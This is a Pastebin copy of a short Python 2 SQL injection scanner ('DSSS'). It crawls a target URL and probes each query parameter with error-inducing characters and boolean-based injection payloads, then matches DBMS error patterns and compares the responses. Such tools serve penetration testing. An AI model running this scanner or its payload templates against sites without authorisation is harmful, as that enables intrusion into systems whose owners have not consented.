Advertisement
Guest User

dsss.py

a guest
Jul 16th, 2011
3,287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.97 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import difflib, httplib, optparse, random, re, sys, urllib2, urlparse
  4.  
  5. NAME    = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)"
  6. VERSION = "0.1b"
  7. AUTHOR  = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
  8. LICENSE = "GPLv2 (www.gnu.org/licenses/gpl-2.0.html)"
  9. NOTE    = "This is a fully working PoC proving that commercial (SQLi) scanners can be beaten under 100 lines of code (6 hours of work, boolean, error, level 1 crawl)"
  10.  
  11. INVALID_SQL_CHAR_POOL = ['(',')','\'','"']
  12. CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz")
  13. SUFFIXES = ["", "-- ", "#"]
  14. PREFIXES = [" ", ") ", "' ", "') "]
  15. BOOLEANS = ["AND %d=%d", "OR NOT (%d=%d)"]
  16.  
  17. DBMS_ERRORS = {}
  18. DBMS_ERRORS["MySQL"] = [r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."]
  19. DBMS_ERRORS["PostgreSQL"] = [r"PostgreSQL.*ERROr", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."]
  20. DBMS_ERRORS["Microsoft SQL Server"] = [r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Exception Details:.*\WSystem\.Data\.SqlClient\.", r"Exception Details:.*\WRoadhouse\.Cms\."]
  21. DBMS_ERRORS["Microsoft Access"] = [r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"]
  22. DBMS_ERRORS["Oracle"] = [r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"]
  23. DBMS_ERRORS["IBM DB2"] = [r"CLI Driver.*DB2", r"DB2 SQL error", r"db2_connect\(", r"db2_exec\(", r"db2_execute\(", r"db2_fetch_"]
  24. DBMS_ERRORS["Informix"] = [r"Exception.*Informix"]
  25. DBMS_ERRORS["Firebird"] = [r"Dynamic SQL Error", r"Warning.*ibase_.*"]
  26. DBMS_ERRORS["SQLite"] = [r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::"]
  27. DBMS_ERRORS["SAP MaxDB"] = [r"SQL error.*POS([0-9]+).*", r"Warning.*maxdb.*"]
  28. DBMS_ERRORS["Sybase"] = [r"Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"]
  29. DBMS_ERRORS["Ingres"] = [r"Warning.*ingres_", r"Ingres SQLSTATE", r"Ingres\W.*Driver"]
  30.  
  31. def getTextOnly(page):
  32.     retVal = re.sub(r"(?s)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s", " ", page)
  33.     retVal = re.sub(r"\s{2,}", " ", retVal)
  34.     return retVal
  35.  
  36. def retrieveContent(url):
  37.     retVal = ["", httplib.OK, "", ""] # [filtered/textual page content, HTTP code, page title, full page content]
  38.     try:
  39.         retVal[3] = urllib2.urlopen(url.replace(" ", "%20")).read()
  40.     except Exception, e:
  41.         if hasattr(e, 'read'):
  42.             retVal[3] = e.read()
  43.         elif hasattr(e, 'msg'):
  44.             retVal[3] = e.msg
  45.         retVal[1] = e.code if hasattr(e, 'code') else None
  46.     match = re.search(r"<title>(?P<title>[^<]+)</title>", retVal[3])
  47.     retVal[2] = match.group("title") if match else ""
  48.     retVal[0] = getTextOnly(retVal[3])
  49.     return retVal
  50.  
  51. def shallowCrawl(url):
  52.     retVal = set([url])
  53.     page = retrieveContent(url)[3]
  54.     for match in re.finditer(r"href\s*=\s*\"(?P<href>[^\"]+)\"", page, re.I):
  55.         link = urlparse.urljoin(url, match.group("href"))
  56.         if link.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS:
  57.             if reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, link])):
  58.                 retVal.add(link)
  59.     return retVal
  60.  
  61. def scanPage(url):
  62.     for link in shallowCrawl(url):
  63.         print "* scanning: %s" % link
  64.         for match in re.finditer(r"(?:[?&;])((?P<parameter>\w+)=[^&;]+)", link):
  65.             vulnerable = False
  66.             tampered = link.replace(match.group(0), match.group(0) + "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL))))
  67.             content = retrieveContent(tampered)
  68.             for dbms in DBMS_ERRORS:
  69.                 for regex in DBMS_ERRORS[dbms]:
  70.                     if not vulnerable and re.search(regex, content[0], re.I):
  71.                         print " (o) parameter '%s' could be SQLi vulnerable! (%s error message)" % (match.group('parameter'), dbms)
  72.                         vulnerable = True
  73.             if not vulnerable:
  74.                 original = retrieveContent(link)
  75.                 a, b = random.randint(100, 255), random.randint(100, 255)
  76.                 for prefix in PREFIXES:
  77.                     for boolean in BOOLEANS:
  78.                         for suffix in SUFFIXES:
  79.                             if not vulnerable:
  80.                                 template = "%s%s%s" % (prefix, boolean, suffix)
  81.                                 payloads = (link.replace(match.group(0), match.group(0) + (template % (a, a))), link.replace(match.group(0), match.group(0) + (template % (a, b))))
  82.                                 contents = [retrieveContent(payloads[0]), retrieveContent(payloads[1])]
  83.                                 if any(map(lambda x: original[x] == contents[0][x] != contents[1][x], [1, 2])) or len(original) == len(contents[0][0]) != len(contents[1][0]):
  84.                                     vulnerable = True
  85.                                 else:
  86.                                     ratios = map(lambda x: difflib.SequenceMatcher(None, original[0], x).quick_ratio(), [contents[0][0], contents[1][0]])
  87.                                     vulnerable = ratios[0] > 0.95 and ratios[1] < 0.95
  88.                                 if vulnerable:
  89.                                     print " (i) parameter '%s' appears to be SQLi vulnerable! (\"%s\")" % (match.group('parameter'), payloads[0])
  90.  
  91. if __name__ == "__main__":
  92.     print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
  93.     parser = optparse.OptionParser(version=VERSION)
  94.     parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.htm?id=1\")")
  95.     options, _ = parser.parse_args()
  96.     if options.url:
  97.         scanPage(options.url)
  98.     else:
  99.         parser.print_help()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement